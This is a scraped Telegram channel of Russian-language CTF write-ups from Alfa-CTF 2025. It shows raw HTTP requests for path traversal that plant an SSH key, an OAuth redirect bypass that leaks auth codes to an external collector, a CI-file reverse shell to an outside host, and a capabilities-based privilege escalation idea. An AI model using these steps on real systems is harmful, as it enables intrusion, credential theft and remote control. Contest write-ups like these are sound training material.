Райтапы по CTF{2025}
2.84K subscribers
215 photos
25 videos
87 files
393 links
☺️ Уютное сообщество для публикации райтапов с разных CTF соревнований и платформ

💬 Наш ламповый чатик: @writeup_chat

✍️ По любому вопросу можно писать мне: @freenameruuuu

Таски решать тут: @writeup_ctf_bot
Download Telegram
Райтапы по CTF{2025}
Райтапы на Alfa-CTF можно прислать @freenameruuuu после 18:00! Оперативно выложу! 💬 Канал & Чат & Бот с тасками| 📺 RUTUBE | 📺 YouTube
Звуки ностальгии.pdf
7.7 MB
Я знаю, вы хотели этот райтап!

#osint #alfactf2025
Звуки ностальгии автор: @p_domarev

UPD: альтернативный вектор от @Pep_macgvai
 Смотрим информацию о клипе в https://ru.wikipedia.org/wiki/Wake_Me_Up_When_September_Ends
Сравниваем с https://en.wikipedia.org/wiki/Wake_Me_Up_When_September_Ends
Ради интереса открываем историю правок и находим правку от 1 сентября 2023 года с точным адресом
https://en.wikipedia.org/w/index.php?title=Wake_Me_Up_When_September_Ends&oldid=1173357244
проверяем на картах убеждаемся в точности и сдаём флаг



💬 Канал & Чат & Бот с тасками| 📺 RUTUBE | 📺 YouTube
Please open Telegram to view this post
VIEW IN TELEGRAM
14🔥5
#web #alfactf2025

Защита от спама от моего дорогого друга и создателя @duckerz: @myqookie
Ребята заняли 9 место!

Следующим образом можно вывести все файлы в текущей директории:
GET /api/files?path=. HTTP/2
Host: fr7sz1sb.spambox.alfactf.ru
Cookie: __cfduid=310a16b169b0030e147c7e3c54244766
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:142.0) Gecko/20100101 Firefox/142.0
Accept: application/json, text/plain, */*
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Sec-Gpc: 1
Referer: https://fr7sz1sb.spambox.alfactf.ru/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers

Из полученного вывода можно увидеть файл .config.yaml
{"name":".config.yaml","path":".config.yaml","is_directory":false,"size":345,"modified":1757791038}


Далее можно прочитать этот файл:
GET /api/content?path=.config.yaml HTTP/2
Host: fr7sz1sb.spambox.alfactf.ru
Cookie: __cfduid=310a16b169b0030e147c7e3c54244766
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:142.0) Gecko/20100101 Firefox/142.0
Accept: application/json, text/plain, */*
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Sec-Gpc: 1
Referer: https://fr7sz1sb.spambox.alfactf.ru/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers


Содержимое .config.yaml:
exclude_files_and_dirs:
- ".profile"
- ".bashrc"
- ".bash_history"
- ".bash_logout"
- ".bash_profile"
- ".history"
- ".viminfo"
- ".ssh/authorized_keys"

- "/etc/"
- "/proc/"
- "/sys/"
- "/home/"
- "/root/"
- "/usr/"
- "/var/"
- "/tmp/"
- "/dev/"


Через уязвимость path traversal при загрузке файлов можно создать файл authorized_keys2 в .ssh в домашней директории пользователя.
POST /api/files HTTP/2
Host: fr7sz1sb.spambox.alfactf.ru
Cookie: __cfduid=310a16b169b0030e147c7e3c54244766
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:142.0) Gecko/20100101 Firefox/142.0
Accept: application/json, text/plain, */*
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=----geckoformboundaryaf337d42e6eaf7ce1adc514ca75085e5
Content-Length: 731
Origin: https://fr7sz1sb.spambox.alfactf.ru
Sec-Gpc: 1
Referer: https://fr7sz1sb.spambox.alfactf.ru/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers

------geckoformboundaryaf337d42e6eaf7ce1adc514ca75085e5
Content-Disposition: form-data; name="files"; filename="authorized_keys2"
Content-Type: text/plain

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxRfItRAln9f0MNzXjayUlCknQQ1G0UG40lQnUeyAwZXwKfAMRij8Pt6tCEB8qVwm67OQBQQ7pjLbzGWWPARazQtDe5Av01mcYQKiF3h5T99Cx/2+GobwBknTnuzEd5bfqZ1/9IHPjPCTm/zursyhI+u0niJ50uQwZmJiT/29j7S+ixfeikvQccpX7FdlZCorrvRAf0SkCYvEe0MOg9YQKuchWb96r9QPl6gQQs5gTzwotLeFwmdeHVzatqfy39vOF3RyYoSgW6oElFWzFoAJpVwIqCucqbMbk9B8tF/AQs46utSzfThNdkKT+7WbKxojDZUhrDRPmpvmTfpH4LhOB eianisimov@inbox.ru
------geckoformboundaryaf337d42e6eaf7ce1adc514ca75085e5
Content-Disposition: form-data; name="path"

.ssh
------geckoformboundaryaf337d42e6eaf7ce1adc514ca75085e5--


После этого коннектимся по ssh и получаем флаг
ssh -i ~/.ssh/id_rsa_for_auth2.pub fr7sz1sb@fr7sz1sb.spambox.alfactf.ru


💬 Канал & Чат & Бот с тасками| 📺 RUTUBE | 📺 YouTube
Please open Telegram to view this post
VIEW IN TELEGRAM
13🔥71
Please open Telegram to view this post
VIEW IN TELEGRAM
141
Please open Telegram to view this post
VIEW IN TELEGRAM
162
Десант блогеров.pdf
354.7 KB
#web #alfactf2025

Десант блогеров, автор мой тиммейт @ValMor1251

💬 Канал & Чат & Бот с тасками| 📺 RUTUBE | 📺 YouTube
Please open Telegram to view this post
VIEW IN TELEGRAM
3
#web #alfactf2025

Шакализация волны от @Dan1Lev, наша команда xyz ❤️

tv.alfactf.ru/api/auth/login принимает параметр next и передаёт его на shakalauth/oauth/authorize в двух параметрах — redirect_uri и next, без фильтрации.

shakalauth/oauth/authorize пытается отфильтровать redirect_uri, который не оканчивается на .alfactf.ru. Это можно обойти с помощью ?:

https://9v5wkz0bb6z8ahetgakwv3d30u6luci1.oastify.com?tv.alfactf.ru/


🔹 На этапе проверки tv.alfactf.ru не считается частью пути, и

redirect_uri.split("://", 1)[1].split("/", 1)[0].split(":", 1)[0]


вернёт

9v5wkz0bb6z8ahetgakwv3d30u6luci1.oastify.com?tv.alfactf.ru


что как раз проходит по условию.

🔹 В момент запроса строка

9v5wkz0bb6z8ahetgakwv3d30u6luci1.oastify.com?tv.alfactf.ru


преобразуется в

9v5wkz0bb6z8ahetgakwv3d30u6luci1.oastify.com/?tv.alfactf.ru


Всё это делалось ради инъекции в iframe-шаблон, который отправляет code и state на наш сервер.

В итоге получаем ссылку, которую отправляем в чат поддержки
https://tv.alfactf.ru:20016/api/auth/login?next=https://9v5wkz0bb6z8ahetgakwv3d30u6luci1.oastify.com?tv.alfactf.ru/


После этого полученные данные отправляем на
tv.alfactf.ru/api/auth/callback

и получаем авторизацию админа 🛡. Там меняем качество — и получаем флаг 🚩

💬 Канал & Чат & Бот с тасками| 📺 RUTUBE | 📺 YouTube
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥82
Вихрь рик-ролла.pdf
28.7 KB
#web #alfactf2025
Студенческая лига

Вихрь рик-ролла, автор @filemonenok
доп файлы - https://disk.360.yandex.ru/d/OvEZ6R-D2P4oUA

💬 Канал & Чат & Бот с тасками| 📺 RUTUBE | 📺 YouTube
Please open Telegram to view this post
VIEW IN TELEGRAM
2
#web #alfactf2025

Разработчик на пляже от моего тиммейта @Dan1Lev

Заглянув в robots.txt блога находим "Файловый менеджер"
Disallow: /shell.php

Внутни которого лежит .env файл из которого получаем адрес и данные для gitlab

Открываем репозиторий и создаём CI/CD файл .gitlab-ci.yml через который получаем обратную оболочку
stages:
- build

shell:
stage: build
script:
- sh -i >& /dev/tcp/ts.fsox.ru/1964 0>&1


В корневой папке пользователя в .ssh находим ssh ключ, а в .bash_history логин и хост
подключаемся и забираем флаг
ssh -o StrictHostKeyChecking=no -i ~/.ssh/id_rsa prod@production cat flag.txt


💬 Канал & Чат & Бот с тасками| 📺 RUTUBE | 📺 YouTube
Please open Telegram to view this post
VIEW IN TELEGRAM
91
#alfactf2025

Фиксы в лучах заката, автор @purplesyringa

NTFS поддерживает дофига POSIX-совместимых фич в духе разрешений (хочется setuid), но разрешения без -o permissions никак ни на что не влияют, поэтому надо искать какой-то другой способ повысить привилегии.

Утверждается, что
а) ntfs-3g поддерживает эмулияцию xattrs, б) capabilities файлов хранятся в xattrs

т.е. можно создать образ, где шеллкоду повышены разрешения через setcap cap_sys_admin=eip mnt/shellcode, и потом этот бинарь можно запустить на машине

💬 Канал & Чат & Бот с тасками| 📺 RUTUBE | 📺 YouTube
Please open Telegram to view this post
VIEW IN TELEGRAM
9